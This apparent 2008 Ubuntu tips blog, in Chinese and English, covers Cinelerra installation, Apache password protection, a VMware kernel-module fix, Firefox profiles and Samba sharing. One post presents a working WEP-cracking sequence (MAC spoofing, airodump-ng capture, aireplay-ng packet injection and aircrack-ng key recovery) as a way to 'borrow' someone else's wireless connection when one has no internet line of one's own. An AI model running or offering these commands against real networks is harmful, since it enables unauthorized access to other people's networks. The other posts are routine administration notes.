2008年9月1日 星期一

安裝Cinelerra在Ubuntu 8.04

How To Install cinelerra
sudo wget http://repository.akirad.net/dists/hardy.list -O /etc/apt/sources.list.d/akirad.list
sudo apt-get install cinelerra-generic

想架一個網站有設密碼的網站要怎麼架設?

How to setup Apache password login access

先幫bob使用者設個密碼
$ sudo htpasswd -c /etc/apache2/passwd/.htpasswd bob

再去apache裏面設定 多家這幾行就好
$ sudo vim /etc/apache2/sites-available/default

AuthType Basic
AuthName "Restricted Files"
AuthUserFile /etc/apache2/passwd/.htpasswd
Require user bob


從新啟動Apache
$ sudo /etc/init.d/apache2 restart

2008年7月8日 星期二

住外面可是卻沒有申請網路線路怎麼辦

How to Crack WEP using Backtrack 3

用借的

基本上呢 很簡單
開一個shell
找你的network interface 改成監視mode 以及換假的mac address
airmon-ng
airmon-ng stop ath0
ifconfig wifi0 down
macchanger --mac 00:11:22:33:44:55 wifi0
airmon-ng start wifi0

監視
airodump-ng ath0
airodump-ng –c 11 –w wep123 - - bssid 00:13:49:36:87:34 ath0


開第二個shell 這部分要做package injection
aireplay-ng -1 0 –a 00:13:49:36:87:34 –h 00:11:22:33:44:55 –e jo3c ath0
aireplay-ng -3 –b 00:13:49:36:87:34 –h 00:11:22:33:44:55 ath0

開第三個shell 這部分叫做 解碼
aircrack-ng –n 64 –b 00:13:49:36:87:34 wep123-01.cap

2008年5月27日 星期二

天阿!我的kernel 更新過後就沒有辦法開VMware Workstation怎麼辦

My VMware Won't Start After Kernel Update !!
2.6.24-16 > 2.6.24-17
Solution:

先解除安裝VMware Workstation 6.0.2
Uninstall first
$ cd /etc/vmware
$ sudo ./installer.sh uninstall

在安裝 VMware Workstation On Ubuntu Hardy Heron 8.04
Ubuntu Kernel 2.6.24-16-generic
Ubuntu Kernel 2.6.24-17-generic
VMware Workstation 6.0.2 Linux 32bit (download from BT or vmware: http://www.vmware.com/download/ws/)
$ sudo tar -zxvf VMware-workstation-6.0.2-59824.i386.tar
$ cd cd vmware-distrib/
$ sudo ./vmware-install.pl

Unable to build the vmmon module
# 看到上面的錯誤後繼續下面的步驟
# after seeing error above do next

$ sudo wget http://knihovny.cvut.cz/ftp/pub/vmware/vmware-any-any-update115.tar.gz

$ sudo gunzip vmware-any-any-update115.tar.gz
$ sudo tar xvf vmware-any-any-update115.tar
$ cd vmware-any-any-update115
$ sudo nano vmmon-only/include/vcpuset.h
CHANGE改
#include “asm/bitops.h”
TO成
#include “linux/bitops.h”
$ sudo nano vmmon-only/include/iocontrols_compat.h
CHANGE 改 line 18
#define VMMON_VERSION_V6 (161 << 16 | 0)
TO 成
#define VMMON_VERSION_V6 (167 << 16 | 0)
$ sudo nano vmmon-only/include/iocontrols.h
CHANGE 改 line 48
#define VMMON_VERSION (161 << 16 | 0)
TO 成
#define VMMON_VERSION (167 << 16 | 0)
$ sudo rm vmmon.tar #remove the old vmmon.tar
$ sudo tar cf vmmon.tar vmmon-only/ #repack vmmon.tar
$ sudo ./runme.pl

refernece
http://aldeby.org/blog/?p=113

2008年5月21日 星期三

在Ubuntu底下管理Firefox 帳號

Firefox Profile Manager
關掉所有firefox window

$ firefox-2 --ProfileManager
如果是firefox-3的話

$ firefox-3 --ProfileManager

如何在Ubuntu底下分享檔案在Windows分享上

How-to: File sharing with Ubuntu using Samba
首先
System→Administration→Network

Depends on your Network
Connection
Select Wired or Wireless

General Tab

Host = Your Computer name Domain = for local computer It doesn't need Usually
Step 2 Configure SAMBA

sudo gedit /etc/samba/smb.conf

FIND line 232

; browseable = no

CHANGE

browseable = yes
writable = yes

Step 3 Add User

$ sudo smbpasswd -a newuser
$ sudo /etc/init.d/samba reload

Step 4 Share Folder on Ubuntu to Windows

$ sudo nautilus

Create a folder inside your home folder

Right Click on the Folder Icon

Left Click on Share Folder

Reference: http://www.youtube.com/watch?v=Ad17kma8rNM

2008年5月11日 星期日

如何在Linux伺服器上分享檔案讓Windows電腦存取

如何在Linux伺服器上分享檔案讓Windows電腦存取
How-to: File sharing with Ubuntu using Samba

第一步
System→Administration→Network

選擇Wired有線或者是Wireless無線

選General

Host = 輸入你的domain 通常都是電腦的名字 這樣子網路上看到的就是你的電腦名字
第二步 調整Samba設定

$ sudo gedit /etc/samba/smb.conf

找第 232 行

; browseable = no

換成

browseable = yes
writable = yes

第三步 增加使用者

$ sudo smbpasswd -a newuser
$ sudo /etc/init.d/samba reload

第四步 設定檔案夾

$ sudo nautilus

在自己的Home裡面加一個新的資料夾

在資料夾右點Share Options

選Sharing This Folder

Reference: http://www.youtube.com/watch?v=Ad17kma8rNM